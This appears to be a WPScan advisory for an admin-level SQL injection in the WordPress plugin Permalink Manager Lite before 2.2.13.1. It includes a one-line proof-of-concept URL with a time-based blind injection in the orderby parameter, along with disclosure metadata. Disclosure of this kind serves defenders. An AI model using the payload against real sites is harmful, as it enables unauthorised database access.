WordPress Plugin Vulnerabilities
Permalink Manager Lite < 2.2.13.1 - Admin+ SQL Injection
Description
The plugin does not validate and escape the orderby parameter before using it in a SQL statement in the Permalink Manager page, leading to a SQL Injection
Proof of Concept
https://example.com/wp-admin/tools.php?page=permalink-manager&orderby=ID+AND+(SELECT+9480+FROM+(SELECT(SLEEP(5)))EXid)
Affects Plugins
Fixed in 2.2.13.1 References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
bl4derunner
Submitter
Anton Sarsadskikh
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-09-27 (about 2 years ago)
Added
2021-09-27 (about 2 years ago)
Last Updated
2022-04-14 (about 2 years ago)
WPScan 